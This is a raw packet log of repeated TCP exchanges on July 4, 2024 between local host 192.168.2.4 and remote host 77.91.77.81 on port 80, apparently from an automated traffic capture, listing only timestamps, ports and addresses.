Jul 4, 2024 20:34:12.957503080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957529068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957555056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957565069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957573891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957581997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957591057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957601070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957602024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957618952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957633972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957639933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957650900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957674026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957700968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957710028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957719088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957727909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957737923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957756996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957784891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957885027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957895041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957902908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957911015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957921028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957926989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957928896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957940102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957952023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957959890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957962990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957988024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958002090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958041906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958053112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958061934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958070993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958087921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958112955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958122015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958137035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958147049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958157063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958165884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958167076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958174944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958183050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958184958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958193064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958203077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958215952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958226919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958249092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958354950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958364010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958374023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958383083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958395958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958429098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958607912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958620071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958636045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958648920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958659887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958661079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958672047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958684921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958700895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958730936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958741903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958754063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958764076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958775043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958784103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958786011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958796978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958797932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958827019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958831072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958837986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958842039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958856106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.958877087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.958899021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959055901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959068060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959078074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959088087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959098101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959104061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959108114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959119081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959129095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959131002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959141016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959147930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959156990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959170103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959170103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959180117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959181070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959192038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959203005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.959213972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.959244013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980442047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980489969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980499983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980514050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980529070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980551958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980608940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980619907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980628014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980638981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.980653048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980667114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.980700970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029145002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029175997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029198885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029216051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029406071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029417038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029426098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029437065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029459953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029484034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029521942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029531956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029541016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029551983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029563904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029567957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029572964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029582977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029589891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029599905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029629946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029658079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029669046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029679060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029689074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029699087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029709101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029710054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029721022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029731989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.029732943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029747009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.029771090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053026915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053037882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053046942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053056955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053067923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053077936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053086042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053095102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053106070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053112984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053149939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053160906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053170919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053179026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053179026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053211927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053261042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053272009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053286076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053303003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053313017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053314924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053323030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053328991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053334951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053343058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053359032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053376913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053388119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053394079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053419113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053430080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053440094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053442955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053452015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053462029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053478956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053505898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053531885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053543091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053581953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053673029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053683996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053694010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053704023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053714037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053724051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053724051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053734064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053741932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053760052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053775072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053793907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053803921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053813934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053824902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053836107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053844929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053845882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053880930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053894997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053904057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053946972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.053976059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.053987980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054028034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054034948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054043055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054053068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054076910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054106951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054158926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054168940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054178953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054208994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054239988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054258108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054270029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054279089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054290056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054300070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054308891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054312944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054320097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054333925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054351091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054358959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054366112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054375887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054390907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054418087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054730892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054742098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054752111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054757118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054765940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054776907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054776907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054786921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054796934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054805994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054807901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054826021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054838896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054853916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054855108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054863930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054873943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054878950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054891109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054893017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054900885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054910898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054913044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054925919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054938078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054939032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054948092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054958105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054960966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.054969072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.054987907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.055006027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.055061102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.055072069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.055082083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.055113077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.055124998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.055552006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.055594921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.087884903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087894917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087905884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087922096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087932110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087938070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.087943077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087954044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.087958097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.087990046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.088005066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.088105917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.088154078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.124762058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124856949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.124886036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124897957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124913931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124923944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124926090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.124933004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124943972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.124944925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124955893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124960899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.124967098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.124998093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125010014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125034094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125045061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125055075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125065088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125075102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125082970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125085115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125114918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125135899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125148058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125158072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125168085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125176907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125186920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125193119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125197887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125214100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125227928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.125386953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.125431061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148572922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148583889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148593903 CEST	80	49731	77.91.77.81	192.168.2.4
